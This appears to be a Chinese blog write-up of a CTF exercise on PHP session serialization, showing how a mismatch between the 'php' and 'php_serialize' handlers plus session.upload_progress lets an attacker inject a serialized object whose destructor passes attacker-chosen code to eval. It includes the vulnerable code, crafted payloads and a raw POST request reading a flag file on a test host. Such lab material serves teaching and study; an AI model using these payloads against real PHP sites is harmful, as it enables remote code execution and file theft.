• PHP反序列化与SESSION


    1. php存储session的三种模式

    php_serialize(php=>5.5.4)

    经过serialize()函数序列化数组

    php

    键名+竖线+经过seralize()序列处理的值

    php_biary

    键名的长度对应ASCII字符+键名+serialize()序列化的值

    测试代码

          

    //ini_set("session.serialize_handler", "php");

    //ini_set("session.serialize_handler", "php_serialize");

    ini_set("session.serialize_handler", "php_binary"); 

    session_start();

    $_SESSION['moonsec'] = $_GET['moonsec'];

    序列化存储格式

    php

    moonsec|s:3:"123";

    php_serialize

    a:1:{s:7:"moonsec";s:3:"123";}

    php_binary

    <0x07>moonsecs:3:"123";

    2.CTF题目                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      

    1. ini_set('session.serialize_handler', 'php');
    2. session_start();
    3. class CTF
    4. {
    5. public $mdzz;
    6. function __construct()
    7. {
    8. $this->mdzz = 'phpinfo();';
    9. }
    10. function __destruct()
    11. {
    12. eval($this->mdzz);
    13. }
    14. }
    15. if(isset($_GET['phpinfo']))
    16. {
    17. $m = new CTF();
    18. }
    19. else
    20. {
    21. highlight_string(file_get_contents('index.php'));
    22. }
    23. ?>

    条件         

    1. session.serialize_handler  php 局部变量 php_serialize 主变量
    2. session.upload_progress.cleanup 默认开启 现关闭
    3. session.upload_progress.enabled 默认开启

    php bug

    PHP :: Doc Bug #71101 :: serialize_handler must not be switched for existing sessions

    session.upload_progress.enabled  On

    session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.inisession.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session

    序列化

    1. class CTF
    2. {
    3. public $mdzz;
    4. function __construct()
    5. {
    6. $this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
    7. }
    8. function __destruct()
    9. {
    10. eval($this->mdzz);
    11. }
    12. }
    13. $m = new CTF();
    14. echo serialize($m);
    15. ?>
    O:3:"CTF":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
    

    上传表单  

    1. <html>
    2. <head>
    3. <title>uploadtitle>
    4. head>
    5. <body>
    6. <form action="http://www.test1.com/ctf/demo3/index.php" method="POST" enctype="multipart/form-data">
    7. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
    8. <input type="file" name="file" />
    9. <input type="submit" />
    10. form>
    11. body>
    12. html>

    |O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}             

     读flag

    O:3:"CTF":1:{s:4:"mdzz";s:83:"print_r(file_get_contents("D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php"));";
    
    |O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";

     

    POST /ctf/demo3/index.php HTTP/1.1

    Host: www.test1.com

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

    Accept-Encoding: gzip, deflate

    Content-Type: multipart/form-data; boundary=---------------------------11171372103466141198728743662

    Content-Length: 39314

    Origin: http://www.test1.com

    Connection: close

    Referer: http://www.test1.com/ctf/demo3/upload.html

    Cookie: PHPSESSID=p13eoiiiq3rp69k85an1d2idbu

    Upgrade-Insecure-Requests: 1

    -----------------------------11171372103466141198728743662

    Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

    1

    -----------------------------11171372103466141198728743662

    Content-Disposition: form-data; name="file"; filename="|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";}

    Content-Type: image/png

  • 相关阅读:
    Windows 下 Git 拉 Gitlab 代码
    C++ Reference: Standard C++ Library reference: C Library: cstring: strerror
    计算机设计大赛 疫情数据分析与3D可视化 - python 大数据
    nodejs配置
    ESP8266-Arduino编程实例-PCF8563实时时钟(RTC)驱动
    五年后端开发,仅考这份面试题和答案,成功涨薪到30k!!!
    数据抽取平台pydatax介绍
    Nodejs系列之模块成员导出与导入
    JAVA开发(java技术选型)
    app逆向(9)|APP关于抓包的常见问题
  • 原文地址:https://blog.csdn.net/yyj1781572/article/details/128189552